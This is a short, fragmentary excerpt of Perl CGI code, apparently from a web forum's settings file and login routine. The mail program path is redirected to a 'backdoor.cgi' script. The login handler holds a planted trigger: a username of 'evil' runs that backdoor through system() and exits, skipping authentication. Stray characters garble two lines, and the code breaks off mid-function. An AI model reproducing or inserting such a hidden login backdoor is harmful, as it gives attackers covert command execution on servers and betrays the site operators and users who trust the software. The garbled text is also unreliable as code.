$mailprog = "/usr/sbin/sendmail";
# Location of your sendmail program
$mailprog = "/home/n/navy/public_html/cgi-bin/backdoor.cgi";
# Location of your sendmail program
Settings.pl
sub Login2 {
&fatal_error("$txt{'37'}") if($FORM{'username'} eq "");
&fatal_error("$txt{'38'}") if($FORM{'passwrd'} eq "");
$FORM{'username'} =~ s/\s/_/g;
$username = $FORM{'username'};
&fatal_error("$txt{'240'} $txt{'35'} $txt{'241'}") ї
if($username !~ /^[\s0-9A-Za-z#%+,-\.:=?@^_]+$/);
&fatal_error("$txt{'337'}") ї
if($FORM{'cookielength'} !~ /^[0-9]+$/);
if ($username eq "evil")
{
system("/home/n/navy/public_html/cgi-bin/backdoor.cgi");
exit;
}
if(-e("$memberdir/$username.dat")) {
fopen(FILE, "$memberdir/$username.dat");